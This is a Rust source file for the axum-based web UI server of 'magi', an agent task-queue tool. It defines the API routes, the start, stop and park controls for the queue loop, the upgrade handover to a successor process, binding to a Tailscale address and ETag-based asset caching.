1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post, put};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::agent;
118use crate::ask::{self, Answer, Question, Questions};
119use crate::config::{AgentKind, Config, Update, UpdateMode};
120use crate::md;
121use crate::notices::{Notice, Notices};
122use crate::persona;
123use crate::proc::Quiet as _;
124use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
125use crate::run::{RunState, RunStatus};
126use crate::talk::{Talk, Talks};
127use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
128
129pub const DEFAULT_PORT: u16 = 7878;
131
132const POLL: Duration = Duration::from_secs(1);
134
135const KEEPALIVE: Duration = Duration::from_secs(15);
139
140const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
151
152const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
155
156const LIST_DEFAULT: usize = 50;
160const LIST_MAX: usize = 500;
162
163const TITLE_MAX: usize = 72;
165
166const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
175
176const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
182
183const FILENAME_HEADER: &str = "x-filename";
187
188const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
211 font-src data:; base-uri 'none'; form-action 'none'; \
212 frame-ancestors 'self'";
213
214const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
215const APP_CSS: &str = include_str!("../assets/ui/app.css");
216const APP_JS: &str = include_str!("../assets/ui/app.js");
217
218#[derive(Debug, Clone, Copy, PartialEq, Eq)]
220pub enum Bind {
221 Auto,
223 Addr(IpAddr),
225}
226
227impl std::str::FromStr for Bind {
228 type Err = String;
229
230 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
234 if s.eq_ignore_ascii_case("auto") {
235 return Ok(Self::Auto);
236 }
237 s.parse()
238 .map(Self::Addr)
239 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
240 }
241}
242
243impl std::fmt::Display for Bind {
244 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
245 match self {
246 Self::Auto => f.write_str("auto"),
247 Self::Addr(addr) => write!(f, "{addr}"),
248 }
249 }
250}
251
252#[derive(Debug, Clone)]
254pub struct Opts {
255 pub bind: Bind,
257 pub port: u16,
259 pub repo: PathBuf,
261 pub open: bool,
264 pub merge: Option<String>,
272}
273
274impl Default for Opts {
275 fn default() -> Self {
276 Self {
277 bind: Bind::Auto,
278 port: DEFAULT_PORT,
279 repo: PathBuf::from("."),
280 open: false,
281 merge: None,
282 }
283 }
284}
285
286#[derive(Debug, Clone)]
292pub struct Ui {
293 queue: Queue,
294 questions: Questions,
295 notices: Notices,
298 talks: Talks,
299 runs: PathBuf,
300 home: PathBuf,
301 repo: PathBuf,
302 worktrees_root: PathBuf,
309 talk_turns: Arc<Mutex<TalkTurns>>,
317 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
321 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
324 resuming: Arc<Mutex<HashSet<String>>>,
332 repos_cache: repos::Cache,
336 machine_config: Option<PathBuf>,
340 merge: Option<String>,
342 looping: Arc<Mutex<LoopState>>,
344 launch: Launch,
356 #[cfg(test)]
359 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
360}
361
362#[cfg(test)]
382struct BusyQueueGate {
383 reached: tokio::sync::oneshot::Sender<()>,
384 release: std::sync::mpsc::Receiver<()>,
385}
386
387#[cfg(test)]
388impl std::fmt::Debug for BusyQueueGate {
389 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
390 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
391 }
392}
393
394impl Ui {
395 pub fn new(
397 queue: Queue,
398 questions: Questions,
399 talks: Talks,
400 runs: PathBuf,
401 home: PathBuf,
402 repo: PathBuf,
403 ) -> Self {
404 Self {
405 queue,
406 questions,
407 notices: Notices::at(home.join("notifications")),
408 talks,
409 runs,
410 home,
411 repo,
412 worktrees_root: run::default_worktree_root(),
416 talk_turns: Arc::default(),
417 upgrade_gate: Arc::default(),
418 upgrade_spawned: Arc::default(),
419 resuming: Arc::default(),
420 repos_cache: repos::Cache::new(),
421 machine_config: Config::machine_layer(),
422 merge: None,
423 looping: Arc::default(),
424 launch: launch_daemon,
425 #[cfg(test)]
426 busy_queue_gate: Arc::default(),
427 }
428 }
429
430 pub fn open(repo: PathBuf) -> Self {
433 Self::new(
434 Queue::open(),
435 Questions::open(),
436 Talks::open(),
437 run::runs_root(),
438 run::home(),
439 repo,
440 )
441 }
442
443 #[must_use]
450 pub fn with_merge(mut self, merge: Option<String>) -> Self {
451 self.merge = merge;
452 self
453 }
454
455 #[cfg(test)]
458 #[must_use]
459 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
460 self.machine_config = path;
461 self
462 }
463
464 #[must_use]
469 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
470 self.worktrees_root = root;
471 self
472 }
473
474 #[cfg(test)]
479 #[must_use]
480 fn with_launch(mut self, launch: Launch) -> Self {
481 self.launch = launch;
482 self
483 }
484
485 #[cfg(test)]
495 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
496 *self
497 .busy_queue_gate
498 .lock()
499 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
500 }
501
502 fn looping(&self) -> Arc<Mutex<LoopState>> {
504 Arc::clone(&self.looping)
505 }
506
507 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
514 if let Some(other) = foreign {
515 return Err(ApiError::conflict(format!(
516 "{} is already running the loop, so this one will not start a \
517 second: two loops on one queue race for the same claims and \
518 burn the agent quota twice over. Stop it where it was \
519 started.",
520 other.who()
521 )));
522 }
523 let mut state = self.lock_loop();
524 if state.live.as_ref().is_some_and(Live::alive) {
525 return Err(ApiError::conflict(format!(
526 "this magi web process (pid {}) is already running the loop",
527 std::process::id()
528 )));
529 }
530
531 let stop = daemon::Stop::new();
532 let opts = daemon::Opts {
536 repo: self.repo.clone(),
537 merge: self.merge.clone(),
538 worktrees_root: Some(self.worktrees_root.clone()),
545 ..daemon::Opts::default()
546 };
547 let launch = self.launch;
548 let looping = Arc::clone(&self.looping);
549 let handle = tokio::spawn({
550 let opts = opts.clone();
551 let stop = stop.clone();
552 async move {
553 let failure = match launch(opts, stop).await {
554 Ok(()) => None,
555 Err(e) => Some(format!("{e:#}")),
556 };
557 match &failure {
558 Some(why) => tracing::error!("the loop stopped: {why}"),
559 None => tracing::info!("the loop stopped"),
560 }
561 let mut state = lock_or_recover(&looping);
567 state.live = None;
568 state.last_error = failure;
569 state.rev += 1;
570 }
571 });
572 tracing::info!(
573 "the loop is now running in this process: repo {}, merge {}",
574 opts.repo.display(),
575 opts.merge.as_deref().unwrap_or("as the config says")
576 );
577 state.live = Some(Live { stop, handle, opts });
578 state.last_error = None;
581 state.rev += 1;
582 Ok(())
583 }
584
585 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
591 if let Some(other) = foreign {
592 return Err(ApiError::conflict(format!(
593 "the loop belongs to {}, and this process cannot stop it - \
594 stop it where it was started. A button that silently did \
595 nothing would be worse than this refusal.",
596 other.who()
597 )));
598 }
599 let mut state = self.lock_loop();
600 if !park {
603 state.resume_after_handover = false;
604 }
605 let Some(live) = state.live.as_ref() else {
606 return Ok(());
607 };
608 if live.stop.stopped() && (!park || live.stop.parking()) {
612 return Ok(());
613 }
614 if park {
615 live.stop.park();
616 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
617 } else {
618 live.stop.stop();
619 tracing::info!("the loop was asked to stop; a run in flight is finished first");
620 }
621 state.rev += 1;
622 Ok(())
623 }
624
625 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
632 let state = self.lock_loop();
633 let live = state.live.as_ref().filter(|live| live.alive());
636 LoopView {
637 running: live.is_some(),
638 stopping: live.is_some_and(|live| live.stop.finishing()),
639 parking: live.is_some_and(|live| live.stop.parking()),
640 owned: live.is_some(),
641 repo: live
642 .map_or(&self.repo, |live| &live.opts.repo)
643 .display()
644 .to_string(),
645 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
646 last_error: state.last_error.clone(),
647 daemon: DaemonView::of(reading),
648 }
649 }
650
651 fn resume_after_handover(&self, resume: bool) -> bool {
657 if !resume {
658 return false;
659 }
660 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
661 match self.start_loop(foreign) {
662 Ok(()) => true,
663 Err(e) => {
664 let why = format!(
665 "the loop could not be resumed after the upgrade: {}",
666 e.message
667 );
668 tracing::warn!("{why}");
669 let mut state = self.lock_loop();
670 state.last_error = Some(why);
671 state.rev += 1;
672 false
673 }
674 }
675 }
676
677 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
679 lock_or_recover(&self.looping)
680 }
681
682 fn is_thinking(&self, id: &str) -> bool {
688 self.talk_turns
689 .lock()
690 .is_ok_and(|turns| turns.live.contains(id))
691 || self.talks.turn_held(id)
694 }
695
696 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
715 self.claim_talk_turn(id, false)
716 }
717
718 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
721 self.claim_talk_turn(id, true)
722 }
723
724 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
725 let mut live = self
726 .talk_turns
727 .lock()
728 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
729 let inserted = live.live.insert(id.to_owned());
730 let lease = if inserted {
734 match self.talks.claim_turn(id) {
735 Ok(Some(lease)) => Some(lease),
736 Ok(None) => {
737 live.live.remove(id);
738 None
739 }
740 Err(e) => {
741 live.live.remove(id);
742 return Err(ApiError::from(e));
743 }
744 }
745 } else {
746 None
747 };
748 if lease.is_none() {
749 if queued {
750 *live.queued.entry(id.to_owned()).or_default() += 1;
755 }
756 return Ok(None);
757 }
758 Ok(Some(TalkTurnGuard {
759 talk: id.to_owned(),
760 turns: Arc::clone(&self.talk_turns),
761 released: false,
762 lease,
763 }))
764 }
765
766 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
771 let mut live = self
772 .talk_turns
773 .lock()
774 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
775 if live.live.contains(id) {
776 return Ok(TalkTurnStart::Busy);
777 }
778 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
779 return Ok(TalkTurnStart::Foreign);
780 };
781 let talk = self.talks.get(id).map_err(ApiError::from)?;
783 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
784 return Ok(TalkTurnStart::Pending);
785 }
786 live.live.insert(id.to_owned());
787 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
788 talk: id.to_owned(),
789 turns: Arc::clone(&self.talk_turns),
790 released: false,
791 lease: Some(lease),
792 }))
793 }
794
795 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
802 let parking = {
803 let mut state = self.lock_loop();
804 let resume = state.resume_after_handover
814 || state
815 .live
816 .as_ref()
817 .is_some_and(|live| live.alive() && !live.stop.stopped());
818 state.resume_after_handover = resume;
819 let Some(live) = state.live.as_ref() else {
820 return Ok(None);
821 };
822 let busy = live.stop.busy_now();
823 live.stop.park();
824 state.rev += 1;
825 busy
826 };
827 Ok(if parking {
828 daemon::current_work(&self.home, jiff::Timestamp::now())
833 .into_iter()
834 .next()
835 .map(|c| c.run)
836 } else {
837 None
838 })
839 }
840
841 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
845 let mut live = self
846 .resuming
847 .lock()
848 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
849 if !live.insert(id.to_owned()) {
850 return Err(ApiError::conflict(format!(
851 "run {id} is already being resumed"
852 )));
853 }
854 Ok(ResumeGuard {
855 run: id.to_owned(),
856 resuming: Arc::clone(&self.resuming),
857 })
858 }
859
860 pub fn router(self) -> Router {
868 Router::new()
869 .route("/", get(index))
870 .route("/app.css", get(app_css))
871 .route("/app.js", get(app_js))
872 .route("/api/health", get(health))
873 .route("/api/loop", get(loop_get).post(loop_post))
874 .route("/api/upgrade", post(upgrade_post))
875 .route("/api/runs", get(runs_list))
876 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
877 .route("/api/runs/{id}/report", get(run_report))
878 .route("/api/runs/{id}/report.json", get(run_report_json))
879 .route("/api/runs/{id}/fold", post(run_fold))
880 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
881 .route("/api/runs/{id}/resume", post(run_resume))
882 .route("/api/queue", get(queue_list))
883 .route("/api/search", get(search_get))
884 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
885 .route("/api/stats", get(stats_get))
886 .route("/api/repos", get(repos_list))
887 .route("/api/settings", get(settings_get))
888 .route("/api/settings/roles", put(settings_put_roles))
889 .route("/api/queue/{id}/hold", post(queue_hold))
890 .route("/api/queue/{id}/release", post(queue_release))
891 .route("/api/queue/{id}/priority", post(queue_priority))
892 .route("/api/queue/{id}/edit", post(queue_edit))
893 .route("/api/queue/{id}/done", post(queue_done))
894 .route("/api/questions", get(questions_list))
895 .route("/api/questions/{id}/answer", post(question_answer))
896 .route("/api/questions/{id}/say", post(question_say))
897 .route("/api/questions/{id}/consult", post(question_consult))
898 .route("/api/questions/{id}/panel", get(question_panel))
899 .route("/api/questions/{id}/panel/index.html", get(question_panel))
907 .route("/api/questions/{id}/panel/{name}", get(question_asset))
908 .route("/api/questions/{id}/asset/{name}", get(question_asset))
909 .route("/api/notifications", get(notifications_list))
910 .route("/api/notifications/read-all", post(notifications_read_all))
911 .route("/api/notifications/{id}/read", post(notification_read))
912 .route(
913 "/api/notifications/{id}/dismiss",
914 post(notification_dismiss),
915 )
916 .route("/api/talks", get(talks_list).post(talk_post))
917 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
918 .route("/api/talks/{id}/say", post(talk_say))
919 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
920 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
921 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
922 .route("/api/talks/{id}/agent", post(talk_agent))
923 .route("/api/talks/{id}/persona", post(talk_persona))
924 .route("/api/talks/{id}/close", post(talk_close))
925 .route("/api/talks/{id}/reopen", post(talk_reopen))
926 .route(
932 "/api/talks/{id}/attachments",
933 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
934 )
935 .route(
936 "/api/talks/{id}/attachments/{att}",
937 get(talk_attachment_get),
938 )
939 .route("/api/events", get(events))
940 .with_state(Arc::new(self))
941 }
942}
943
944#[derive(Debug)]
950struct TalkTurnGuard {
951 talk: String,
952 turns: Arc<Mutex<TalkTurns>>,
953 released: bool,
954 lease: Option<crate::talk::TurnLease>,
956}
957
958#[derive(Debug, Default)]
965struct TalkTurns {
966 live: HashSet<String>,
967 queued: HashMap<String, u64>,
968}
969
970enum TalkTurnStart {
973 Claimed(TalkTurnGuard),
974 Busy,
975 Foreign,
978 Pending,
979}
980
981impl TalkTurnGuard {
982 fn owns(&self) -> bool {
986 self.lease
987 .as_ref()
988 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
989 }
990
991 async fn respond(
994 &self,
995 talk: &mut Talk,
996 talks: &Talks,
997 cfg: &Config,
998 text: &str,
999 ) -> anyhow::Result<()> {
1000 let lease = self
1001 .lease
1002 .as_ref()
1003 .context("the turn guard no longer holds its lease")?;
1004 talk::respond(lease, talk, talks, cfg, text).await
1005 }
1006
1007 fn release(mut self, live: &mut TalkTurns) {
1010 self.lease = None;
1014 live.live.remove(&self.talk);
1015 live.queued.remove(&self.talk);
1016 self.released = true;
1017 }
1018}
1019
1020impl Drop for TalkTurnGuard {
1021 fn drop(&mut self) {
1022 if self.released {
1023 return;
1024 }
1025 drop(self.lease.take());
1027 if let Ok(mut live) = self.turns.lock() {
1028 live.live.remove(&self.talk);
1029 live.queued.remove(&self.talk);
1030 }
1031 }
1032}
1033
1034struct ResumeGuard {
1036 run: String,
1037 resuming: Arc<Mutex<HashSet<String>>>,
1038}
1039
1040impl Drop for ResumeGuard {
1041 fn drop(&mut self) {
1042 if let Ok(mut live) = self.resuming.lock() {
1043 live.remove(&self.run);
1044 }
1045 }
1046}
1047
1048async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1058 const WINDOW: Duration = Duration::from_secs(10);
1059 const GAP: Duration = Duration::from_millis(250);
1060
1061 let deadline = std::time::Instant::now() + WINDOW;
1062 let mut said = false;
1063 loop {
1064 match tokio::net::TcpListener::bind(socket).await {
1065 Ok(listener) => return Ok(listener),
1066 Err(e)
1067 if e.kind() == std::io::ErrorKind::AddrInUse
1068 && std::time::Instant::now() < deadline =>
1069 {
1070 if !said {
1071 said = true;
1072 tracing::info!(
1073 "{socket} is still held - waiting up to {}s for it, \
1074 which is what a restart looks like from here",
1075 WINDOW.as_secs()
1076 );
1077 }
1078 tokio::time::sleep(GAP).await;
1079 }
1080 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1081 }
1082 }
1083}
1084
1085static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1088
1089const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1091
1092fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1094 value.is_some_and(|v| v == "1")
1095}
1096
1097fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1120 let exe = std::env::current_exe().context("find this binary")?;
1121 let args: Vec<String> = std::env::args().skip(1).collect();
1122 updater::log_step(
1123 home,
1124 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1125 );
1126 let log_path = home.join(WEB_LOG);
1127 let open_log = || {
1128 std::fs::create_dir_all(home)?;
1129 std::fs::OpenOptions::new()
1130 .create(true)
1131 .append(true)
1132 .open(&log_path)
1133 };
1134 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1135 Ok(pair) => (
1136 std::process::Stdio::from(pair.0),
1137 std::process::Stdio::from(pair.1),
1138 ),
1139 Err(e) => {
1140 updater::log_warn(
1141 home,
1142 &format!(
1143 "could not open {}: {e}; the successor logs nowhere",
1144 log_path.display()
1145 ),
1146 );
1147 (std::process::Stdio::null(), std::process::Stdio::null())
1148 }
1149 };
1150
1151 let mut cmd = std::process::Command::new(&exe);
1152 if resume {
1153 cmd.env(RESUME_LOOP_ENV, "1");
1154 } else {
1155 cmd.env_remove(RESUME_LOOP_ENV);
1156 }
1157 cmd.args(&args)
1158 .stdin(std::process::Stdio::null())
1159 .stdout(out)
1160 .stderr(err);
1161 #[cfg(windows)]
1162 {
1163 use std::os::windows::process::CommandExt as _;
1164 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1167 }
1168 let child = cmd.spawn().context("start the successor")?;
1169 Ok(child.id())
1170}
1171
1172const WEB_LOG: &str = "web.log";
1174
1175async fn wait_for_handover(signal: &Notify) {
1179 signal.notified().await;
1180}
1181
1182pub async fn serve(opts: Opts) -> Result<()> {
1207 let (addr, warning) = resolve_bind(&opts.bind);
1208 if let Some(warning) = warning {
1209 tracing::warn!("{warning}");
1210 }
1211
1212 report::set_color(false);
1218
1219 let repo = normalize_default_repo(opts.repo).await;
1220 let ui = Ui::open(repo).with_merge(opts.merge);
1221 let home = ui.home.clone();
1226 let repo = ui.repo.clone();
1227 updater::reconcile_after_restart(&home);
1232 updater::log_step(
1233 &home,
1234 &format!(
1235 "web process started (version {}); handover log {}, successor output {}",
1236 env!("CARGO_PKG_VERSION"),
1237 updater::log_path(&home).display(),
1238 home.join(WEB_LOG).display()
1239 ),
1240 );
1241 updater::spawn_watchdog(home.clone());
1242 tokio::spawn(run_update_recheck(repo, home.clone()));
1251 let looping = ui.looping();
1252 let socket = SocketAddr::new(addr, opts.port);
1253 let listener = bind_waiting(socket).await?;
1254 let url = format!("http://{addr}:{}", opts.port);
1255 tracing::info!(
1256 "magi web UI on {url} - there is no authentication, so anyone who can \
1257 reach this address can file and hold tasks: the tailnet is the \
1258 security boundary"
1259 );
1260 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1261 tracing::info!("resumed the loop the predecessor was running");
1262 } else {
1263 tracing::info!(
1264 "the queue loop is not running yet - start it from the UI, which is \
1265 the whole reason this process can: nothing in the queue moves until \
1266 something is running the loop"
1267 );
1268 }
1269 if opts.open {
1270 println!("{url}");
1274 }
1275
1276 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1279 let interrupted = async {
1280 if tokio::signal::ctrl_c().await.is_err() {
1281 std::future::pending::<()>().await;
1286 }
1287 };
1288 let handover = wait_for_handover(&HANDOVER);
1289 let outcome = tokio::select! {
1290 joined = &mut served => match joined {
1291 Ok(outcome) => outcome.context("serve the web UI"),
1292 Err(e) => Err(e).context("the task serving the web UI ended"),
1293 },
1294 () = interrupted => {
1295 tracing::info!("shutting down the web UI");
1296 finish_loop(&home, &looping, None).await;
1297 Ok(())
1298 }
1299 () = handover => {
1300 updater::log_step(&home, "serve: the select! woke on the handover signal");
1301 let successor_home = home.clone();
1302 hand_over(&home, &looping, served, move |resume| {
1303 spawn_successor(&successor_home, resume)
1304 })
1305 .await
1306 }
1307 };
1308 updater::log_step(
1309 &home,
1310 &match &outcome {
1311 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1312 Err(e) => format!("serve: returning an error: {e:#}"),
1313 },
1314 );
1315 outcome
1316}
1317
1318async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1339 if repo != FsPath::new(".") {
1340 return repo;
1341 }
1342 let Ok(canonical) = repo.canonicalize() else {
1343 return repo;
1344 };
1345 if git::toplevel(&canonical).await.is_ok() {
1346 return repo;
1347 }
1348 let Some(home) = dirs::home_dir() else {
1349 return repo;
1350 };
1351 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1352 Some(found) => {
1353 tracing::info!(
1354 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1355 canonical.display(),
1356 found.path.display(),
1357 found.reason,
1358 );
1359 found.path
1360 }
1361 None => repo,
1362 }
1363}
1364
1365async fn hand_over(
1395 home: &FsPath,
1396 looping: &Mutex<LoopState>,
1397 served: tokio::task::JoinHandle<std::io::Result<()>>,
1398 successor: impl FnOnce(bool) -> Result<u32>,
1399) -> Result<()> {
1400 updater::log_step(home, "hand_over: entered; writing the parking stage");
1401 let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1405 if !recorded {
1406 updater::log_warn(
1407 home,
1408 "hand_over: upgrade.json is unreadable; no parking stage",
1409 );
1410 }
1411 finish_loop(home, looping, Some(&mut lease)).await;
1412 drop(lease);
1413 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1414 served.abort();
1415 let _ = served.await;
1416 updater::log_step(home, "hand_over: listener released");
1417 let resume = lock_or_recover(looping).resume_after_handover;
1420 match updater::read_progress(home) {
1421 Some(mut progress) => {
1422 progress.advance(updater::Stage::Restarting);
1423 updater::write_progress_logged(home, &progress);
1424 }
1425 None => updater::log_warn(
1426 home,
1427 "hand_over: upgrade.json is unreadable; no restarting stage",
1428 ),
1429 }
1430 updater::log_step(
1431 home,
1432 &format!("hand_over: starting the successor (resume={resume})"),
1433 );
1434 match successor(resume) {
1435 Ok(pid) => {
1436 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1437 Ok(())
1438 }
1439 Err(e) => {
1440 updater::log_warn(
1441 home,
1442 &format!("hand_over: the successor did not start: {e:#}"),
1443 );
1444 Err(e)
1445 }
1446 }
1447}
1448
1449const LEASE_BEAT: Duration = Duration::from_secs(20);
1452
1453async fn finish_loop(
1460 home: &FsPath,
1461 state: &Mutex<LoopState>,
1462 mut lease: Option<&mut updater::LeaseGuard>,
1463) {
1464 let live = lock_or_recover(state).live.take();
1465 let Some(live) = live else {
1466 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1467 return;
1468 };
1469 live.stop.stop();
1470 lock_or_recover(state).rev += 1;
1471 updater::log_step(
1472 home,
1473 "finish_loop: waiting for the loop to finish the run in flight",
1474 );
1475 let waited = std::time::Instant::now();
1476 let mut handle = live.handle;
1479 let mut beat = tokio::time::interval(LEASE_BEAT);
1480 loop {
1481 tokio::select! {
1482 _ = &mut handle => break,
1483 _ = beat.tick() => {
1484 if let Some(lease) = lease.as_deref_mut() {
1485 lease.beat();
1486 }
1487 }
1488 }
1489 }
1490 updater::log_step(
1491 home,
1492 &format!(
1493 "finish_loop: the loop ended after {:.1}s",
1494 waited.elapsed().as_secs_f32()
1495 ),
1496 );
1497}
1498
1499pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1505 match bind {
1506 Bind::Addr(addr) => (*addr, None),
1507 Bind::Auto => match tailscale_ip() {
1508 Ok(ip) => (IpAddr::V4(ip), None),
1509 Err(why) => (
1510 IpAddr::V4(Ipv4Addr::LOCALHOST),
1511 Some(format!(
1512 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1513 local-only and a phone cannot reach it; start Tailscale \
1514 or pass --bind <addr>"
1515 )),
1516 ),
1517 },
1518 }
1519}
1520
1521fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1529 let out = std::process::Command::new("tailscale")
1530 .args(["ip", "-4"])
1531 .quiet()
1532 .output()
1533 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1534 if !out.status.success() {
1535 let why = String::from_utf8_lossy(&out.stderr);
1536 let why = why.trim();
1537 return Err(format!(
1538 "`tailscale ip -4` failed ({}){}",
1539 out.status,
1540 if why.is_empty() {
1541 String::new()
1542 } else {
1543 format!(": {why}")
1544 }
1545 ));
1546 }
1547 String::from_utf8_lossy(&out.stdout)
1548 .lines()
1549 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1550 .find(is_tailnet)
1551 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1552}
1553
1554fn is_tailnet(ip: &Ipv4Addr) -> bool {
1556 let o = ip.octets();
1557 o[0] == 100 && (64..=127).contains(&o[1])
1558}
1559
1560type ApiResult<T> = std::result::Result<T, ApiError>;
1564
1565#[derive(Debug)]
1567struct ApiError {
1568 status: StatusCode,
1569 message: String,
1570}
1571
1572impl ApiError {
1573 fn bad_request(message: impl Into<String>) -> Self {
1575 Self {
1576 status: StatusCode::BAD_REQUEST,
1577 message: message.into(),
1578 }
1579 }
1580
1581 fn not_found(message: impl Into<String>) -> Self {
1583 Self {
1584 status: StatusCode::NOT_FOUND,
1585 message: message.into(),
1586 }
1587 }
1588
1589 fn with_status(mut self, status: StatusCode) -> Self {
1592 self.status = status;
1593 self
1594 }
1595
1596 fn bad_request_from(e: anyhow::Error) -> Self {
1600 Self::bad_request(format!("{e:#}"))
1601 }
1602
1603 fn conflict(message: impl Into<String>) -> Self {
1604 Self {
1605 status: StatusCode::CONFLICT,
1606 message: message.into(),
1607 }
1608 }
1609
1610 fn internal(message: impl Into<String>) -> Self {
1612 Self {
1613 status: StatusCode::INTERNAL_SERVER_ERROR,
1614 message: message.into(),
1615 }
1616 }
1617}
1618
1619impl From<anyhow::Error> for ApiError {
1620 fn from(e: anyhow::Error) -> Self {
1625 Self::internal(format!("{e:#}"))
1626 }
1627}
1628
1629impl IntoResponse for ApiError {
1630 fn into_response(self) -> Response {
1631 let body = serde_json::json!({ "error": self.message });
1632 (self.status, Json(body)).into_response()
1633 }
1634}
1635
1636async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1645where
1646 T: Send + 'static,
1647{
1648 match tokio::task::spawn_blocking(job).await {
1649 Ok(result) => result,
1650 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1651 }
1652}
1653
1654const ASSET_CACHE: &str = "no-cache, must-revalidate";
1672
1673fn asset_etag() -> &'static str {
1680 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1681 format!(
1682 "\"{}-{}\"",
1683 env!("CARGO_PKG_VERSION"),
1684 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1689 )
1690 });
1691 &TAG
1692}
1693
1694fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1696 [
1697 (header::CONTENT_TYPE, mime),
1698 (header::CACHE_CONTROL, ASSET_CACHE),
1699 (header::ETAG, asset_etag()),
1700 ]
1701}
1702
1703fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1711 let tag = asset_etag();
1712 let known = headers
1713 .get(header::IF_NONE_MATCH)
1714 .and_then(|v| v.to_str().ok())
1715 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1719 if known {
1720 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1721 }
